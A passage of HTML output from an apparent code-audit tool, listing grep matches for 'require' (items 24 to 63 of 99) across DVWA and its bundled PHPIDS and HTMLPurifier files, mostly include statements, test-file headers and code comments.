'authenticated', 'phpids' ) ); 6-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(24/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_s/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(25/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/xss_s/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'xss_s'; 33-$page[ 'source_button' ] = 'xss_s';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/index.php</span>:<span class='line_number'>4</span> <span class='match_count'>(26/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-define( 'DVWA_WEB_PAGE_TO_ROOT', '../../' ); 4:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT.'dvwa/includes/dvwaPage.inc.php'; 5- 6-dvwaPageStartup( array( 'authenticated', 'phpids' ) ); 7-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./vulnerabilities/xss_r/index.php</span>:<span class='line_number'>30</span> <span class='match_count'>(27/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- break; 28-} 29- 30:<span class='match_highlight'>require</span>_once DVWA_WEB_PAGE_TO_ROOT."vulnerabilities/xss_r/source/{$vulnerabilityFile}"; 31- 32-$page[ 'help_button' ] = 'xss_r'; 33-$page[ 'source_button' ] = 'xss_r';</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>30</span> <span class='match_count'>(28/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>27- session_start(); 28-} 29- 30:<span class='match_highlight'>require</span>_once 'IDS/Init.php'; 31- 32-try { 33-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>87</span> <span class='match_count'>(29/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>84- /* 85- * The following steps are optional to log the results 86- */ 87: <span class='match_highlight'>require</span>_once 'IDS/Log/File.php'; 88: <span class='match_highlight'>require</span>_once 'IDS/Log/Composite.php'; 89- 90- $compositeLog = new IDS_Log_Composite(); 91- $compositeLog->addLogger(IDS_Log_File::getInstance($init));</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/example.php</span>:<span class='line_number'>101</span> <span class='match_count'>(30/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>98- */ 99- /* 100- * 101: <span class='match_highlight'>require</span>_once 'IDS/Log/Email.php'; 102: <span class='match_highlight'>require</span>_once 'IDS/Log/Database.php'; 103- 104- $compositeLog->addLogger( 105- IDS_Log_Email::getInstance($init),</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/docs/examples/cakephp/ids.php</span>:<span class='line_number'>114</span> <span class='match_count'>(31/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>111- $path = get_include_path(); 112- set_include_path( VENDORS . 'phpids/'); 113- 114: #<span class='match_highlight'>require</span> the needed files 115- vendor('phpids/IDS/Init'); 116- 117- #add request url and user agent</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/ReportTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(32/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:ReportTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require</span>_once 'IDS/Report.php'; 25:<span class='match_highlight'>require</span>_once 'IDS/Event.php'; 26- 27-class IDS_ReportTest extends PHPUnit_Framework_TestCase 28-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/MonitorTest.php</span>:<span class='line_number'>21</span> <span class='match_count'>(33/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>18- * @package PHPIDS tests 19- * @version SVN: $Id:MonitorTest.php 517 2007-09-15 15:04:13Z mario $ 20- */ 21:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestCase.php'; 22-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 23:<span class='match_highlight'>require</span>_once 'IDS/Monitor.php'; 24:<span class='match_highlight'>require</span>_once 'IDS/Init.php'; 25:<span class='match_highlight'>require</span>_once 'IDS/Filter/Storage.php'; 26- 27-class IDS_MonitorTest extends PHPUnit_Framework_TestCase { 28-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/EventTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(34/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:EventTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require</span>_once 'IDS/Event.php'; 25:<span class='match_highlight'>require</span>_once 'IDS/Filter.php'; 26- 27-class IDS_EventTest extends PHPUnit_Framework_TestCase 28-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/ExceptionTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(35/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:ExceptionTest.php 517 2007-09-15 15:04:13Z mario $ 20- */ 21- 22:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require</span>_once 'IDS/Init.php'; 25:<span class='match_highlight'>require</span>_once 'IDS/Caching/Factory.php'; 26:<span class='match_highlight'>require</span>_once 'IDS/Report.php'; 27:<span class='match_highlight'>require</span>_once 'IDS/Event.php'; 28:<span class='match_highlight'>require</span>_once 'IDS/Filter.php'; 29:<span class='match_highlight'>require</span>_once 'IDS/Monitor.php'; 30:<span class='match_highlight'>require</span>_once 'IDS/Filter/Storage.php'; 31- 32-class IDS_ExceptionTest extends PHPUnit_Framework_TestCase 33-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/FilterTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(36/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:FilterTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require</span>_once 'IDS/Init.php'; 25- 26-class IDS_FilterTest extends PHPUnit_Framework_TestCase 27- {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/InitTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(37/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:InitTest.php 517 2007-09-15 15:04:13Z mario $ 20- */ 21- 22:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require</span>_once 'IDS/Init.php'; 25- 26-class IDS_InitTest extends PHPUnit_Framework_TestCase { 27-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/IDS/CachingTest.php</span>:<span class='line_number'>22</span> <span class='match_count'>(38/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:CachingTest.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21- 22:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestCase.php'; 23-set_include_path(get_include_path() . PATH_SEPARATOR . dirname(__FILE__) . '/../../lib'); 24:<span class='match_highlight'>require</span>_once 'IDS/Init.php'; 25:<span class='match_highlight'>require</span>_once 'IDS/Caching/Factory.php'; 26- 27-class IDS_CachingTest extends PHPUnit_Framework_TestCase { 28-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/allTests.php</span>:<span class='line_number'>22</span> <span class='match_count'>(39/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>19- * @version SVN: $Id:allTests.php 515 2007-09-15 13:43:40Z christ1an $ 20- */ 21-error_reporting(E_ALL | E_STRICT | @E_DEPRECATED); 22:<span class='match_highlight'>require</span>_once 'PHPUnit/Framework/TestSuite.php'; 23:<span class='match_highlight'>require</span>_once 'PHPUnit/TextUI/TestRunner.php'; 24:<span class='match_highlight'>require</span>_once 'PHPUnit/Util/Filter.php'; 25- 26-PHPUnit_Util_Filter::addDirectoryToFilter(dirname(__FILE__)); 27-PHPUnit_Util_Filter::addDirectoryToFilter(dirname(__FILE__) . '/../lib/IDS/vendors');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/tests/allTests.php</span>:<span class='line_number'>45</span> <span class='match_count'>(40/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>42- public static function suite() 43- { 44- $suite = new PHPUnit_Framework_TestSuite('PHPIDS'); 45: <span class='match_highlight'>require</span>_once 'IDS/MonitorTest.php'; 46- $suite->addTestSuite('IDS_MonitorTest'); 47: <span class='match_highlight'>require</span>_once 'IDS/ReportTest.php'; 48- $suite->addTestSuite('IDS_ReportTest'); 49: <span class='match_highlight'>require</span>_once 'IDS/InitTest.php'; 50- $suite->addTestSuite('IDS_InitTest'); 51: <span class='match_highlight'>require</span>_once 'IDS/ExceptionTest.php'; 52- $suite->addTestSuite('IDS_ExceptionTest'); 53: <span class='match_highlight'>require</span>_once 'IDS/FilterTest.php'; 54- $suite->addTestSuite('IDS_FilterTest'); 55: <span class='match_highlight'>require</span>_once 'IDS/CachingTest.php'; 56- $suite->addTestSuite('IDS_CachingTest'); 57: <span class='match_highlight'>require</span>_once 'IDS/EventTest.php'; 58- $suite->addTestSuite('IDS_EventTest'); 59- return $suite; 60- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Filter/Storage.php</span>:<span class='line_number'>39</span> <span class='match_count'>(41/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>36- * 37- * This class provides various default functions for gathering filter patterns 38- * to be used later on by the detection mechanism. You might extend this class 39: * to your <span class='match_highlight'>require</span>ments. 40- * 41- * @category Security 42- * @package PHPIDS</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Session.php</span>:<span class='line_number'>34</span> <span class='match_count'>(42/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Caching/Interface.php'; 35- 36-/** 37- * File caching wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Memcached.php</span>:<span class='line_number'>34</span> <span class='match_count'>(43/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Caching/Interface.php'; 35- 36-/** 37- * File caching wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/File.php</span>:<span class='line_number'>34</span> <span class='match_count'>(44/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Caching/Interface.php'; 35- 36-/** 37- * File caching wrapper</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/Caching/Database.php</span>:<span class='line_number'>34</span> <span class='match_count'>(45/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>31- * @link http://php-ids.org/ 32- */ 33- 34:<span class='match_highlight'>require</span>_once 'IDS/Caching/Interface.php'; 35- 36-/** 37- * Needed SQL:</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/Validator.php</span>:<span class='line_number'>112</span> <span class='match_count'>(46/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>109- // END - handled by InterchangeBuilder 110- 111- if (!is_null($d->allowed) || !empty($d->valueAliases)) { 112: // allowed and valueAliases <span class='match_highlight'>require</span> that we be dealing with 113- // strings, so check for that early. 114- $d_int = HTMLPurifier_VarParser::$types[$d->type]; 115- if (!isset(HTMLPurifier_VarParser::$stringTypes[$d_int])) {</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ConfigSchema/InterchangeBuilder.php</span>:<span class='line_number'>77</span> <span class='match_count'>(47/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>74- public function buildDirective($interchange, $hash) { 75- $directive = new HTMLPurifier_ConfigSchema_Interchange_Directive(); 76- 77: // These are <span class='match_highlight'>require</span>d elements: 78- $directive->id = $this->id($hash->offsetGet('ID')); 79- $id = $directive->id->toString(); // convenience 80-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/SafeParam.php</span>:<span class='line_number'>6</span> <span class='match_count'>(48/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Validates name/value pairs in param tags to be used in safe objects. This 5- * will only allow name values it recognizes, and pre-fill certain attributes 6: * with <span class='match_highlight'>require</span>d values. 7- * 8- * @note 9- * This class only supports Flash. In the future, Quicktime support</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrTransform/ScriptRequired.php</span>:<span class='line_number'>4</span> <span class='match_count'>(49/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>1-<?php 2- 3-/** 4: * Implements <span class='match_highlight'>require</span>d attribute stipulation for <script> 5- */ 6-class HTMLPurifier_AttrTransform_ScriptRequired extends HTMLPurifier_AttrTransform 7-{</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/URIFilter.php</span>:<span class='line_number'>10</span> <span class='match_count'>(50/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>7- * including transformation or blacklisting. 8- * 9- * @warning This filter is called before scheme object validation occurs. 10: * Make sure, if you <span class='match_highlight'>require</span> a specific scheme object, you 11- * you check that it exists. This allows filters to convert 12- * proprietary URI schemes into regular ones. 13- */</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/CSS/FontFamily.php</span>:<span class='line_number'>76</span> <span class='match_count'>(51/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>73- continue; 74- } 75- 76: // complicated font, <span class='match_highlight'>require</span>s quoting 77- 78- // armor single quotes and new lines 79- $font = str_replace("\\", "\\\\", $font);</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrDef/URI/IPv6.php</span>:<span class='line_number'>6</span> <span class='match_count'>(52/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3-/** 4- * Validates an IPv6 address. 5- * @author Feyd @ forums.devnetwork.net (public domain) 6: * @note This function <span class='match_highlight'>require</span>s brackets to have been removed from address 7- * in URI. 8- */ 9-class HTMLPurifier_AttrDef_URI_IPv6 extends HTMLPurifier_AttrDef_URI_IPv4</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php</span>:<span class='line_number'>8</span> <span class='match_count'>(53/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>5- * 6- * HTML elements dictate which elements are allowed to be their children, 7- * for example, you can't have a p tag in a span tag. Other elements have 8: * much more rigorous definitions: tables, for instance, <span class='match_highlight'>require</span> a specific 9- * order for their elements. There are also constraints not expressible by 10- * document type definitions, such as the chameleon nature of ins/del 11- * tags and global child exclusions.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/FixNesting.php</span>:<span class='line_number'>17</span> <span class='match_count'>(54/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>14- * nodes (not tokens) of the list of tokens and determine whether or not 15- * their children conform to the element's definition. If they do not, the 16- * child definition may optionally supply an amended list of elements that 17: * is valid or <span class='match_highlight'>require</span> that the entire node be deleted (and the previous 18- * node rescanned). 19- * 20- * The second objective is to ensure that explicitly excluded elements of</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Strategy/RemoveForeignElements.php</span>:<span class='line_number'>76</span> <span class='match_count'>(55/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>73- if (isset($definition->info[$token->name])) { 74- 75- // mostly everything's good, but 76: // we need to make sure <span class='match_highlight'>require</span>d attributes are in order 77- if ( 78- ($token instanceof HTMLPurifier_Token_Start || $token instanceof HTMLPurifier_Token_Empty) && 79: $definition->info[$token->name]-><span class='match_highlight'>require</span>d_attr && 80- ($token->name != 'img' || $remove_invalid_img) // ensure config option still works 81- ) { 82- $attr_validator->validateToken($token, $config, $context); 83- $ok = true; 84: foreach ($definition->info[$token->name]-><span class='match_highlight'>require</span>d_attr as $name) { 85- if (!isset($token->attr[$name])) { 86- $ok = false; 87- break; 88- } 89- } 90- if (!$ok) { 91: if ($e) $e->send(E_ERROR, 'Strategy_RemoveForeignElements: Missing <span class='match_highlight'>require</span>d attribute', $name); 92- continue; 93- } 94- $token->armor['ValidateAttributes'] = true;</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/HTMLDefinition.php</span>:<span class='line_number'>371</span> <span class='match_count'>(56/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>368- // setup injectors ----------------------------------------------------- 369- foreach ($this->info_injector as $i => $injector) { 370- if ($injector->checkNeeded($config) !== false) { 371: // remove injector that does not have it's <span class='match_highlight'>require</span>d 372- // elements/attributes present, and is thus not needed. 373- unset($this->info_injector[$i]); 374- }</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Bootstrap.php</span>:<span class='line_number'>40</span> <span class='match_count'>(57/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>37- public static function autoload($class) { 38- $file = HTMLPurifier_Bootstrap::getPath($class); 39- if (!$file) return false; 40: <span class='match_highlight'>require</span> HTMLPURIFIER_PREFIX . '/' . $file; 41- return true; 42- } 43-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>3723</span> <span class='match_count'>(58/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3720- } 3721- 3722- private function clearTheActiveFormattingElementsUpToTheLastMarker() { 3723: /* When the steps below <span class='match_highlight'>require</span> the UA to clear the list of active 3724- formatting elements up to the last marker, the UA must perform the 3725- following steps: */ 3726-</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>3744</span> <span class='match_count'>(59/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3741- } 3742- 3743- private function generateImpliedEndTags($exclude = array()) { 3744: /* When the steps below <span class='match_highlight'>require</span> the UA to generate implied end tags, 3745- then, if the current node is a dd element, a dt element, an li element, 3746- a p element, a td element, a th element, or a tr element, the UA must 3747- act as if an end tag with the respective tag name had been seen and</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/Lexer/PH5P.php</span>:<span class='line_number'>3773</span> <span class='match_count'>(60/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>3770- } 3771- 3772- private function clearStackToTableContext($elements) { 3773: /* When the steps above <span class='match_highlight'>require</span> the UA to clear the stack back to a 3774- table context, it means that the UA must, while the current node is not 3775- a table element or an html element, pop elements from the stack of open 3776- elements. If this causes any elements to be popped from the stack, then</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/ElementDef.php</span>:<span class='line_number'>75</span> <span class='match_count'>(61/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>72- public $descendants_are_inline = false; 73- 74- /** 75: * List of the names of <span class='match_highlight'>require</span>d attributes this element has. Dynamically 76- * populated by HTMLPurifier_HTMLDefinition::getElement 77- */ 78: public $<span class='match_highlight'>require</span>d_attr = array(); 79- 80- /** 81- * Lookup table of tags excluded from all descendants of this tag.</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php</span>:<span class='line_number'>94</span> <span class='match_count'>(62/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div class='poi_content'> <pre class='snippet'><code>91- 92- if (isset($processed[$def_i])) continue; 93- 94: // determine whether or not attribute is <span class='match_highlight'>require</span>d 95: if ($<span class='match_highlight'>require</span>d = (strpos($def_i, '*') !== false)) { 96- // rename the definition 97- unset($attr[$def_i]); 98- $def_i = trim($def_i, '*');</code></pre> </div> </div> <div class='point_of_interest'> <span class='file_name'>./external/phpids/0.6/lib/IDS/vendors/htmlpurifier/HTMLPurifier/AttrCollections.php</span>:<span class='line_number'>106</span> <span class='match_count'>(63/99)</span> <span class='poi_mark_content'> <a class='poi_ok'>OK</a> | <a class='poi_dubious'>Dubious</a> | <a class='poi_bad'>Bad</a> | <a class='poi_hide'>Hide</a> </span> <div 